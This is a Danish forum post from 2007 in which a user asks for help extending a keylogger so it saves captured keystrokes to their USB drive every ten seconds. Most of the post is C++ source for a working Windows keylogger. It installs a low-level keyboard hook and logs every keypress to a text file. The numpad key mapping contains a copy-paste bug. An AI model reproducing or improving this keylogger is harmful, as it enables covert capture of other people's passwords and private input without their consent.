Hej udviklerer.
Jeg vil gerne have lidt hjælp til en slags KeyLogger som skal kunne læse hvad brugeren skriver og gemme det automatisk på min usb nøgle når den sidder i, men jeg ved ikke helt hvordan jeg får den til at gemme hvert 10. sek.
Min usb nøgles drev hedder F:
Min Kode:
#define _WIN32_WINNT 0x0500
#include <iostream>
#include <fstream>
#include <windows.h>
#include <stdlib.h>
#include <ctype.h>
#include <map>
#include <string>
HHOOK KeyboardHook;
std::map<DWORD, std::string>MyTextMap;
LRESULT LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if((nCode==HC_ACTION) && (wParam==WM_KEYDOWN))
{
KBDLLHOOKSTRUCT *HookStruct = (KBDLLHOOKSTRUCT *)lParam;
std::ofstream outfile;
outfile.open ("Qbit.txt", std::ofstream::out | std::ofstream::app);
std::map<DWORD, std::string>::const_iterator it = MyTextMap.find(HookStruct->vkCode);
if(it != MyTextMap.end())
{
outfile << it->second;
}
else if(HookStruct->vkCode >= 0x20 && HookStruct->vkCode < 0x80)
{
outfile << (char)HookStruct->vkCode;
}
else
{
outfile << "[" << HookStruct->vkCode << "]";
}
outfile.close();
}
return CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE,LPSTR lpCmdLine,INT nCmdShow)
{
MyTextMap[VK_F1] = "{F1}";
MyTextMap[VK_F2] = "{F2}";
MyTextMap[VK_F3] = "{F3}";
MyTextMap[VK_F4] = "{F4}";
MyTextMap[VK_F5] = "{F5}";
MyTextMap[VK_F6] = "{F6}";
MyTextMap[VK_F7] = "{F7}";
MyTextMap[VK_F8] = "{F8}";
MyTextMap[VK_F9] = "{F9}";
MyTextMap[VK_F10] = "{F10}";
MyTextMap[VK_F11] = "{F11}";
MyTextMap[VK_F12] = "{F12}";
MyTextMap[VK_RETURN] = "{Enter}";
MyTextMap[VK_TAB] = "{Tab}";
MyTextMap[VK_BACK] = "{Backspace}";
MyTextMap[VK_SHIFT] = "{Shift}";
MyTextMap[VK_CAPITAL] = "{Caps Lock}";
MyTextMap[VK_NUMPAD0] = "0";
MyTextMap[VK_NUMPAD0] = "1";
MyTextMap[VK_NUMPAD0] = "2";
MyTextMap[VK_NUMPAD0] = "3";
MyTextMap[VK_NUMPAD0] = "4";
MyTextMap[VK_NUMPAD0] = "5";
MyTextMap[VK_NUMPAD0] = "6";
MyTextMap[VK_NUMPAD0] = "7";
MyTextMap[VK_NUMPAD0] = "8";
MyTextMap[VK_NUMPAD0] = "9";
KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC )LowLevelKeyboardProc, GetModuleHandle(0), 0);
if(!KeyboardHook)
MessageBox(0, "Hook fejlede", "Keylogger", MB_OK);
MSG msg;
while(GetMessage(&msg, 0, 0, 0xFFFF))
{}
return EXIT_SUCCESS;
}
Dette er min nuværende kode men her skal man trykke pil op før det gemmer filen, lidt kedeligt efter min mening =S
Håber i vil hjælpe, tak på forhånd
Indlæg senest redigeret d. 23.01.2007 18:25 af Bruger #10613